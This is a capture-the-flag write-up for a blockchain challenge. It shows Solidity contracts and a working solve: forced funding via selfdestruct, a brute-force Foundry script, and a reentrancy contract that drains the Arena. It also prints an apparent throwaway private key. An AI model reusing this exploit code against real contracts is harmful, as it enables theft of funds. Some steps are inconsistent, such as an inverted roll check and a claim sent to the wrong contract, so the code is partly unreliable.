~/

World Wide CTF 2025 - Dinosaur Park [blockchain]

Difficulty : Easy

Team : Phreaks 2600

Description : Are you brave enough to face the raptor and claim the legendary golden egg?

Author : zeptoide

Topics : solidity, reentrancy, selfdestruct, foundry, scripting

TL;DR

  • force the transfer funds to arena with selfdestruct
  • guess the correct number and become win the fight
  • empty the arena balance with a reentrancy
  • claim the golden egg
  • claim the flag

Video writeup


Introduction

So we got a blockchain challenge with solidity smart contracts. One, DinoPark is used as the contract to check for the solve with isSolve() function and also deploy another useful contract : Arena where the real things happen.

Arena.sol
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

contract Arena {
    address public immutable parkContract;

    uint256 public constant PRIZE_MONEY = 0.1 ether;
    uint256 public constant PLAYER_STRENGTH = 470;
    uint256 public parkRaptorStrength = 500;

    enum FightMode { Normal, Ranked }

    mapping(address => bool) public isFighting;
    mapping(address => bool) public champions;

    event rollPicked(uint8);
    
    constructor(address _park) payable {
        parkContract = _park;
    }

    function prepareArena() internal view {
        uint256 currentBalance = address(this).balance;
        require(currentBalance >= 0.2 ether, "Capital Audit: Stage 1 Failed.");
        require(currentBalance >= 0.4 ether, "Capital Audit: Stage 2 Failed.");
        require(currentBalance >= 0.6 ether, "Capital Audit: Stage 3 Failed.");
    }

    function triggerMeteorShower() external {
        require(msg.sender == parkContract, "Only the park can trigger events! ;)");
        parkRaptorStrength += 200;
    }

    function fight(uint8 guess, FightMode mode) external {
        if (!isFighting[msg.sender]) {
            prepareArena();
            isFighting[msg.sender] = true;
        }

        bool playerWins = _didPlayerWin(guess, mode);
        
        
        if (playerWins) {
            champions[msg.sender] = true;
            (bool sent, ) = msg.sender.call{value: PRIZE_MONEY}("");
            require(sent, "Arena: Failed to send prize");
        }

        isFighting[msg.sender] = false;
    }

    function _didPlayerWin(uint8 guess, FightMode mode) internal returns (bool) {
        uint256 raptor = parkRaptorStrength;
        if (mode == FightMode.Ranked) {
            raptor += 100;
        }

        uint8 roll = uint8(uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao))) % 100);
        emit rollPicked(roll);
        uint256 totalPlayer = PLAYER_STRENGTH + roll;
        return (guess == roll) && (totalPlayer > raptor);
    }

    function isChampion(address _player) external view returns (bool) {
        return champions[_player];
    }

    function drainToChampion(address champ) external {
        require(msg.sender == parkContract, "Only DinoPark can drain");
        uint256 bal = address(this).balance;
        (bool ok, ) = champ.call{value: bal}("");
        require(ok, "Drain failed");
    }
}

DinoPark.sol
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

import "./Arena.sol";

contract DinoPark {
    address public owner;
    address public goldenEggHolder;
    Arena public arena;

    mapping(address => uint256) public patronStake;
    mapping(uint256 => string) public dinoNames;
    uint256 public constant NAMING_FEE = 0.01 ether;

    constructor() payable {
        owner = msg.sender;
        goldenEggHolder = address(this);
        arena = new Arena{value: 0.5 ether}(address(this));
    }

    function announceMeteorShower() external {
        require(msg.sender == owner, "Only the owner can make announcements.");
        arena.triggerMeteorShower();
    }

    function claimGoldenEgg() external {
        require(arena.isChampion(msg.sender), "DinoPark: Not a champion!");
        require(address(arena).balance <= 1 wei, "DinoPark: Arena still has funds!");
        goldenEggHolder = msg.sender;
    }

    function stakeForPark() external payable {
        patronStake[msg.sender] += msg.value;
    }

    function withdrawStake() external {
        uint256 amount = patronStake[msg.sender];
        require(amount > 0, "No stake to withdraw.");
        patronStake[msg.sender] = 0;
        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Withdrawal failed.");
    }

    function setDinoName(uint256 dinoId, string calldata name) external payable {
        require(msg.value == NAMING_FEE, "Incorrect fee for naming service.");
        dinoNames[dinoId] = name;
    }

    function isSolved() external view returns (bool) {
        return goldenEggHolder == msg.sender;   
    }
}

The methods will using through the writeup is to start from isSolve() and list the steps I need to complete to solve.

Just go here for the solve path.


Reading the code

DinoPark

isSolved

So as in many web3 CTF, the challenge is solve if the isSolve function which will be called by the infrastructure in backend.

1
2
3
function isSolved() external view returns (bool) {
    return goldenEggHolder == msg.sender;   
}

Here the infra will call isSolve() to know if goldenEggHolder is the same address of msg.sender, the address calling isSolved, but we don’t know with which address the infra call it, spoiler: it’s our player address.

goldenEggHolder

To solve, goldenEggHolder is to be set to the address of msg.sender which his either directly our wallet (or EOA, externally owned address) or a contract.

EOA address

  • spoiler (msg.sender need to be our EOA otherwise it won’t solve)

So we need to redefine goldenEggHolder at some point. Let’s see where we can find this in the contract.

By looking for the string in the contract we see that the default value of goldenEggHolder is the address of the contract.

claimGoldenEgg

And the way to set goldenEggHolder is to call claimGoldenEgg:

1
2
3
4
5
function claimGoldenEgg() external {
    require(arena.isChampion(msg.sender), "DinoPark: Not a champion!");
    require(address(arena).balance <= 1 wei, "DinoPark: Arena still has funds!");
    goldenEggHolder = msg.sender;
}

which :

  • call the isChampion() that checks if the value of isChampion is msg.sender (our address).
  • check that the balance of the arena is under 1 wei, so basically empty
  • and check that we claimed the egg

So we need to see on the arena how to become champion and find a way to empty the arena contract balance.

Arena

isChampion

1
2
3
function isChampion(address _player) external view returns (bool) {
  return champions[_player];
}

It check inside a mapping (like a list) the value of _player passed in argument. champions map and address to a bool value :

1
 mapping(address => bool) public champions;

Value are written in this contract only at one place, inside the fight() function :

1
2
3
4
5
        if (playerWins) {
            champions[msg.sender] = true;
            (bool sent, ) = msg.sender.call{value: PRIZE_MONEY}("");
            require(sent, "Arena: Failed to send prize");
        }

We need to win something so that the value is set to true.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
function fight(uint8 guess, FightMode mode) external {
    if (!isFighting[msg.sender]) {
        prepareArena();
        isFighting[msg.sender] = true;
    }

    bool playerWins = _didPlayerWin(guess, mode);
    
    
    if (playerWins) {
        champions[msg.sender] = true;
        (bool sent, ) = msg.sender.call{value: PRIZE_MONEY}("");
        require(sent, "Arena: Failed to send prize");
    }

    isFighting[msg.sender] = false;
}

Three things are done :

  • Check if isFighting is False, run prepareArena if it is.
  • call _didPlayerWin with the argument passed to fight()
  • If _didPlayerWin return a True value, we get champion

Let’s look at prepareArena() :

_didPlayerWin

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
function _didPlayerWin(uint8 guess, FightMode mode) internal returns (bool) {
    uint256 raptor = parkRaptorStrength;
    if (mode == FightMode.Ranked) {
        raptor += 100;
    }

    uint8 roll = uint8(uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao))) % 100);
    emit rollPicked(roll);
    uint256 totalPlayer = PLAYER_STRENGTH + roll;
    return (guess == roll) && (totalPlayer > raptor);
}

If we chose the mode ranked, raptor got 100 more of strength.

Then a value roll is chosen based on the timestamp and prevrandao, value readable on the blockchain and take the value modulo 100.

Then the roll is added to player strength and a last check is made. The function return True if :

  • We correctly guess the roll value.
  • And our total strength is above the raptor strength.

One should know that :

1
2
PLAYER_STRENGTH = 470;
parkRaptorStrength = 500;

We need at least a roll of 31 to get over the raptor strength. And if we chose the mode ranked , the raptor got to 600 which we can’t beat because the max roll value is 99.

Now the prepareArena

prepareArena

1
2
3
4
5
6
function prepareArena() internal view {
    uint256 currentBalance = address(this).balance;
    require(currentBalance >= 0.2 ether, "Capital Audit: Stage 1 Failed.");
    require(currentBalance >= 0.4 ether, "Capital Audit: Stage 2 Failed.");
    require(currentBalance >= 0.6 ether, "Capital Audit: Stage 3 Failed.");
}

The contract exit if we the arena balance is under 0.6 ether. Whis is at 0.5 ether at the start, here from the DinoPark contract which sends 0.5 ether at the creation :

1
2
3
4
5
constructor() payable {
    owner = msg.sender;
    goldenEggHolder = address(this);
    arena = new Arena{value: 0.5 ether}(address(this));
}

Every other functions are just rabbit holes and baits that did not work on me because I stand on bait proof.

bait functions

How to solve in a nutshell

Here’s is a drawing of the path to solve :

solve path

Let’s solve then.


Solve

SO the step are :

  • fund arena with some ether so we can fight
  • call fight by trying to get the correct guess and be champion with our address
  • find a way to empty the arena balance
  • claim the goldern egg

Fund arena

There are multiple to fund an address on th ethereum, for example :

  • Deploying a contract with some ether so the deployed gets it in its balance
  • Send it to a function with the modifier payable state
  • If the address is a wallet (or EOA), just make a transaction with ether in msg.value variable

In our case none of this works because the arena, is already deployed, doesn’t have any payable function, and is not a wallet.

So the author wrote the contract so the arena “refuse” funds.

no ethers

BUT, there is an old trick to force a contract to receive fund which selfdestructing, which send all the remaining ethers of a contract to the address we want.

Then we write a contract, give it the ethers we want and send call selfdestruct to make it sends the values :

selfdestructing
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

import "./Arena.sol";
import "./DinoPark.sol";


contract SendEthers {

    address payable public  to;

    constructor(address payable _to)  payable {
        require(msg.value == 0.2 ether, "send 0.2 ether");
        to = _to;
    }


    function tqt() public payable 
    {
        selfdestruct(to);
    }
}

So we caan deploy the contract and specify the address of arena as the destination. On a terminal using foundry :

1
2
3
4
5
6
7
8
#balance is at 0.5 ether
cast balance -r $RPC $ARENA --ether
0.500000000000000000

forge create Evil.sol:Attack -r $RPC --root . --broadcast --private-key $PKEY --value 0.2ether --constructor-args $ARENA  

cast balance -r $RPC $ARENA --ether
0.700000000000000000

I’ve put all my adresses in a .env file and source it so it’s easier, see :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
cat .env                              

RPC=http://chal.wwctf.com:8545/c54e4d94-6e4d-4410-b2f3-0de796911eb6
ADDRESS=0x05B0f7fb2165143Ffc4fA3687aC9f1c7e49126cE
PKEY=0xd0ce3938132dbb601a856cf7e84ab49a1ad898ae9ba94997a1647cd42be076e1
SETUP=0xAd8C328A4C8235AA56395ee52C172DB3e4E8A266
export ARENA=$(cast call $SETUP -r $RPC 'arena()(address)')
ATTACK=0x58269D9A90651088706baD2a3d65349237102877

source .env

Next step.

Win the fight and have a correct guess

In the fight function we got to submit a guess and a fight mode. First the fight mode is either normal or ranked and we saw earlier that ranked is impossible to win.

Here are the fight mode :

1
enum FightMode { Normal, Ranked }

An enum in solidity is just a list of uint8 that are called through the variable name. So Normal is accessed like FIghtMode.Normal and as it’s the first item, it’s value is 0.

Next we need to guess correctly so that the validation function returns true :

1
return (guess == roll) && (totalPlayer > raptor);

And at the same time be above of raptor strength which is 500 and ours 470. So we need 31 <= guess 100.

Roll is picked on value that are guessable by writing the contract because there are read from the block of transaction; timestamp and prevrandao

1
uint8 roll = uint8(uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao))) % 100);

If we call fight(), we make a transaction, and this transaction will be listed on the block. If in fight(), block value are called, it will take value from this block so it’s totally readable and not random.

But this tricks works when using a contract. To solve we need to directly use our EOA, so we can’t guess anything, we have to do STRAIGHT gambling with a odds of 1% for having the correct number at each call.

Someting I omitted is that the blockchain for challenge have blocks being mined every 10 seconds, so at every time I make a single transaction, I have to wait 10 seconds.

Ain’t no way I’m waiting this long every time.

eric abidal

So I made a first bash script that call fight with the same number and wait 10 seconds and call again :

first_script.sh
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
#!/bin/bash

source .env

for i in {1..100}
do
  echo "Fight #$i"
  cast send --rpc-url $RPC $ARENA --private-key $PKEY "fight(uint8,uint8)" 52 0
  echo "champion : $(cast call --rpc-url $RPC $ARENA 'isChampion(address)(bool)' $ADDRESS)"
  sleep 10
done

But from time to time a request a request was crashing so I thought I just messed up my script (I’m naive). clueless

Then my teammate got a great idea which was, making many call of fight() at the same block so there should be one that will be working. It didn’t work either.

second_script.sh
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79

#!/bin/bash

source .env

NONCE=$(cast nonce --rpc-url $RPC $ADDRESS)


cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+0))  --private-key $PKEY "fight(uint8,uint8)" 31 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+1))  --private-key $PKEY "fight(uint8,uint8)" 32 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+2))  --private-key $PKEY "fight(uint8,uint8)" 33 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+3))  --private-key $PKEY "fight(uint8,uint8)" 34 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+4))  --private-key $PKEY "fight(uint8,uint8)" 35 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+5))  --private-key $PKEY "fight(uint8,uint8)" 36 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+6))  --private-key $PKEY "fight(uint8,uint8)" 37 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+7))  --private-key $PKEY "fight(uint8,uint8)" 38 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+8))  --private-key $PKEY "fight(uint8,uint8)" 39 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+9))  --private-key $PKEY "fight(uint8,uint8)" 40 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+10)) --private-key $PKEY "fight(uint8,uint8)" 41 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+11)) --private-key $PKEY "fight(uint8,uint8)" 42 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+12)) --private-key $PKEY "fight(uint8,uint8)" 43 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+13)) --private-key $PKEY "fight(uint8,uint8)" 44 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+14)) --private-key $PKEY "fight(uint8,uint8)" 45 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+15)) --private-key $PKEY "fight(uint8,uint8)" 46 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+16)) --private-key $PKEY "fight(uint8,uint8)" 47 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+17)) --private-key $PKEY "fight(uint8,uint8)" 48 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+18)) --private-key $PKEY "fight(uint8,uint8)" 49 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+19)) --private-key $PKEY "fight(uint8,uint8)" 50 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+20)) --private-key $PKEY "fight(uint8,uint8)" 51 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+21)) --private-key $PKEY "fight(uint8,uint8)" 52 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+22)) --private-key $PKEY "fight(uint8,uint8)" 53 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+23)) --private-key $PKEY "fight(uint8,uint8)" 54 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+24)) --private-key $PKEY "fight(uint8,uint8)" 55 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+25)) --private-key $PKEY "fight(uint8,uint8)" 56 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+26)) --private-key $PKEY "fight(uint8,uint8)" 57 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+27)) --private-key $PKEY "fight(uint8,uint8)" 58 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+28)) --private-key $PKEY "fight(uint8,uint8)" 59 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+29)) --private-key $PKEY "fight(uint8,uint8)" 60 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+30)) --private-key $PKEY "fight(uint8,uint8)" 61 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+31)) --private-key $PKEY "fight(uint8,uint8)" 62 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+32)) --private-key $PKEY "fight(uint8,uint8)" 63 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+33)) --private-key $PKEY "fight(uint8,uint8)" 64 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+34)) --private-key $PKEY "fight(uint8,uint8)" 65 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+35)) --private-key $PKEY "fight(uint8,uint8)" 66 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+36)) --private-key $PKEY "fight(uint8,uint8)" 67 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+37)) --private-key $PKEY "fight(uint8,uint8)" 68 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+38)) --private-key $PKEY "fight(uint8,uint8)" 69 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+39)) --private-key $PKEY "fight(uint8,uint8)" 70 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+40)) --private-key $PKEY "fight(uint8,uint8)" 71 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+41)) --private-key $PKEY "fight(uint8,uint8)" 72 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+42)) --private-key $PKEY "fight(uint8,uint8)" 73 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+43)) --private-key $PKEY "fight(uint8,uint8)" 74 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+44)) --private-key $PKEY "fight(uint8,uint8)" 75 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+45)) --private-key $PKEY "fight(uint8,uint8)" 76 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+46)) --private-key $PKEY "fight(uint8,uint8)" 77 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+47)) --private-key $PKEY "fight(uint8,uint8)" 78 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+48)) --private-key $PKEY "fight(uint8,uint8)" 79 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+49)) --private-key $PKEY "fight(uint8,uint8)" 80 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+50)) --private-key $PKEY "fight(uint8,uint8)" 81 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+51)) --private-key $PKEY "fight(uint8,uint8)" 82 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+52)) --private-key $PKEY "fight(uint8,uint8)" 83 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+53)) --private-key $PKEY "fight(uint8,uint8)" 84 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+54)) --private-key $PKEY "fight(uint8,uint8)" 85 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+55)) --private-key $PKEY "fight(uint8,uint8)" 86 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+56)) --private-key $PKEY "fight(uint8,uint8)" 87 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+57)) --private-key $PKEY "fight(uint8,uint8)" 88 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+58)) --private-key $PKEY "fight(uint8,uint8)" 89 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+59)) --private-key $PKEY "fight(uint8,uint8)" 90 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+60)) --private-key $PKEY "fight(uint8,uint8)" 91 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+61)) --private-key $PKEY "fight(uint8,uint8)" 92 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+62)) --private-key $PKEY "fight(uint8,uint8)" 93 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+63)) --private-key $PKEY "fight(uint8,uint8)" 94 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+64)) --private-key $PKEY "fight(uint8,uint8)" 95 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+65)) --private-key $PKEY "fight(uint8,uint8)" 96 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+66)) --private-key $PKEY "fight(uint8,uint8)" 97 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+67)) --private-key $PKEY "fight(uint8,uint8)" 98 0 &
cast send -r $RPC $ARENA --gas-limit 10000000 --nonce $((NONCE+68)) --private-key $PKEY "fight(uint8,uint8)" 99 0 &

cast call -r $RPC $ARENA "isChampion(address)(bool)" $ADDRESS

After CTF, by debugging we saw that the only transaction crashing was the one with the winning number, so that’s how work casinos …

Finally, I remembered that we can script with foundry and I never managed to make it work.

And it is actually goated with all the things called cheatcodes which allow us to read environment variables to make it easier, use console.log() to print values and many other utilities.

Here is my script

almost_winning_script.sh
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pragma solidity ^0.8.19;

import "../src/Arena.sol";
import "../src/DinoPark.sol";

import {Script, console} from "forge-std/Script.sol";


contract WinLottery is Script {

    Arena arena = Arena(vm.envAddress("ARENA"));

    function run() external {

        uint256 deployerPrivateKey = vm.envUint("PKEY");
		
        vm.startBroadcast(deployerPrivateKey);

		
		for ( uint8 i = 31; i< 100; i++){
			arena.fight(i, Arena.FightMode.Normal);
		}
		
		bool champion = arena.isChampion(vm.envAddress("ADDRESS"));
        console.log(champion);

        vm.stopBroadcast();
    }
}

Solidity scripting work by appending all the transactions it will send to a list, and then push this list on the blockchain.

So the for loop is gonna generate 68 transactions. If the number is above 30, I will be winner.

But I’ve got another issue, AGAIN, one transaction failed everytime. Just one.
By debuggin in local reading this github issue, I found that it was a gas error, but weird because I actually set a gas-limit to almost 1 ETH, more than enough.

Actually the problem is not that, it’s the gas allowed per transaction, the estimation was around 30000 wei for the fight() so those transactions can not use more than that. But when I succeed, the isChampion() mapping is altered, raising the cost of the gas to around 50000 which will make the transaction fails.

So the fix is just to increase the allowed ammount of gas for this call like that :

1
2
3
for ( uint8 i = 31; i< 100; i++){
    arena.fight{gas: 100000}(i, Arena.FightMode.Normal);
}

it was all gas

We run the forge script command and become a champion :

1
2
3
4
5
forge script script/BecomeChampion.s.sol:WinLottery --rpc-url $RPC --private-key $PKEY --broadcast --gas-limit 10000000000000
#I deleted the logs

cast call -r $RPC $ARENA "isChampion(address)" $ADDRESS
true

Now let’s find a way empty the arena contract.

Empty the arena contract

The strategy of this one is to look at the ways to get ethers. There is the drainToChampion() function it require us to be the parkContract which is not possible here, so it’s a bait.

Evil.sol:RemoteFight
1
2
3
4
5
6
function drainToChampion(address champ) external {
    require(msg.sender == parkContract, "Only DinoPark can drain");
    uint256 bal = address(this).balance;
    (bool ok, ) = champ.call{value: bal}("");
    require(ok, "Drain failed");
}

And the other way is to win a fight.

When winning a fighting, this line is executed in the fight() function:

1
(bool sent, ) = msg.sender.call{value: PRIZE_MONEY}("");

It takes the address of the msg.sender, in this context it is the address of the fighter which is an EOA or smart contract.
Then, the function "" is called with PRIZE_MONEY (0.1 ether) in value.
To wrap up, it calls a function with no name and send 0.1 ether to us if we win.

We can think to just call fight() once more to get more ethers, but there is a kind of security that prevent us to t do that :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
function fight(uint8 guess, FightMode mode) external {
    if (!isFighting[msg.sender]) {
        prepareArena();
        isFighting[msg.sender] = true;
    }

    bool playerWins = _didPlayerWin(guess, mode);
    
    
    if (playerWins) {
        champions[msg.sender] = true;
        (bool sent, ) = msg.sender.call{value: PRIZE_MONEY}("");
        require(sent, "Arena: Failed to send prize");
    }

    isFighting[msg.sender] = false;
}

At the start of fight(), if isFighting[msg.sender] is set to false, prepareArena will be called that just check if the arean has 0.6 ether or more.

Then isFighting[msg.sender] is set to true and at the end of the fight, it is sets back to false.

But arena calls an empty function when sending us ethers after winning, and in solidity, calling a function with no name is like calling a non-existent function.
So, in this case, the fallback() function is called on the destination contract.
If a fallback() function is defined, the instruction in the latter are executed, else the whole transaction is reverted. See this.

Here is the process of sending ethers :

                 send Ether
                      |
           msg.data is empty?
                /           \
            yes             no
             |                |
    receive() exists?     fallback()
        /        \
     yes          no
      |            |
  receive()     fallback()

So when we win the fight, arena will send us ethers and call the fallback() function. We can define in the fallback function to call fight() again until there are no more ethers in the arena, and if we win again, the arena will triger fallback once more which will call fight() one more time and so on.

reentracy

Here is how it looks in solidity :

Evil.sol:RemoteFight
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

import "./Arena.sol";
import "./DinoPark.sol";

contract RemoteFight {

    Arena public arena;
    DinoPark public dino;

    enum FightMode { Normal, Ranked }

    constructor(address _arena, address _dino) payable {
        arena = Arena(_arena);
        dino = DinoPark(_dino);
    }

    function fightAndGuess() public {

        uint8 guessRoll = uint8(uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao))) % 100);

        require(guessRoll < 31, "roll too low to win!");

        arena.fight(guessRoll, Arena.FightMode.Normal);
    }

    fallback() external payable{
        if (address(arena).balance > 1 wei){
            fightAndGuess();
        }
    }
}

We just have to create the contract, call fightAndGuess() and that’s all.

1
2
3
forge create Evil.sol:RemoteFight -r $RPC --root . --broadcast --private-key $PKEY --constructor-args $ARENA $SETUP

cast send <deployed contract address> -r $RPC --private-key $PKEY  "fightAndGuess()"

backstabbing

Now we got all the step we just have to chain it all and then claim the egg to get the flag.

Get the flag

We got this :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
#fund arena with 0.2ether
forge create Evil.sol:Attack -r $RPC --root . --broadcast --private-key $PKEY --value 0.2ether --constructor-args $ARENA  

#become a champion with our own address
forge script script/BecomeChampion.s.sol:WinLottery --rpc-url $RPC --private-key $PKEY --broadcast --gas-limit 10000000000000

#create the evil contract for the reentrancy
forge create Evil.sol:RemoteFight -r $RPC --root . --broadcast --private-key $PKEY --constructor-args $ARENA $SETUP

#call fightAndGues that will trigger the reentrancy
cast send <deployed contract address> -r $RPC --private-key $PKEY  "fightAndGuess()"

#claim the egg
cast send $ARENA -r $RPC --private-key $PKEY "claimGoldenEgg()"

After that we can get the flag

wwf{r4pt0r_sl4y3r_3gg_hunt3r}

Conclusion

forge script is goated ngl

References